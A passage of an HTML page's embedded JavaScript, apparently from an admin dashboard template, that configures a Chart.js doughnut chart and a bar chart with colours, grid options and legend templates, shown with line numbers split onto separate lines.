=segments[i].label
%
>
<%
}
%
></li>
<%
}
%
></ul>"
873:
};
874:
//Create pie or douhnut chart
875:
// You can switch between pie and douhnut using the method below.
876:
pieChart.Doughnut(PieData, pieOptions);
877:
878:
//-------------
879:
//- BAR CHART -
880:
//-------------
881:
var barChartCanvas = $("#barChart").get(0).getContext("2d");
882:
var barChart = new Chart(barChartCanvas);
883:
var barChartData = areaChartData;
884:
barChartData.datasets[1].fillColor = "#00a65a";
885:
barChartData.datasets[1].strokeColor = "#00a65a";
886:
barChartData.datasets[1].pointColor = "#00a65a";
887:
var barChartOptions = {
888:
//Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value
889:
scaleBeginAtZero: true,
890:
//Boolean - Whether grid lines are shown across the chart
891:
scaleShowGridLines: true,
892:
//String - Colour of the grid lines
893:
scaleGridLineColor: "rgba(0,0,0,.05)",
894:
//Number - Width of the grid lines
895:
scaleGridLineWidth: 1,
896:
//Boolean - Whether to show horizontal lines (except X axis)
897:
scaleShowHorizontalLines: true,
898:
//Boolean - Whether to show vertical lines (except Y axis)
899:
scaleShowVerticalLines: true,
900:
//Boolean - If there is a stroke on each bar
901:
barShowStroke: true,
902:
//Number - Pixel width of the bar stroke
903:
barStrokeWidth: 2,
904:
//Number - Spacing between each of the X value sets
905:
barValueSpacing: 5,
906:
//Number - Spacing between data sets within X values
907:
barDatasetSpacing: 1,
908:
//String - A legend template
909:
legendTemplate: "<ul class=\"
<%
=name.toLowerCase()
%
>-legend\">
<%
for (var i=0; i<datasets.length; i++){
%
><li><span style=\"background-color:
<%
=datasets[i].fillColor
%
>\"></span>
<%
if(datasets[i].label){
%
>
<%
=datasets[i].label
%
>
<%
}
%
></li>
<%
}
%
></ul>",
910:
//Boolean - whether to make the chart responsive
911:
responsive: true,
912:
maintainAspectRatio: true
913:
};
914:
915:
barChartOptions.datasetFill = false;
916:
barChart.Bar(barChartData, barChartOptions);
917:
});
918:
</script>
919:
</body>
920:
</html>
921:
922:
923: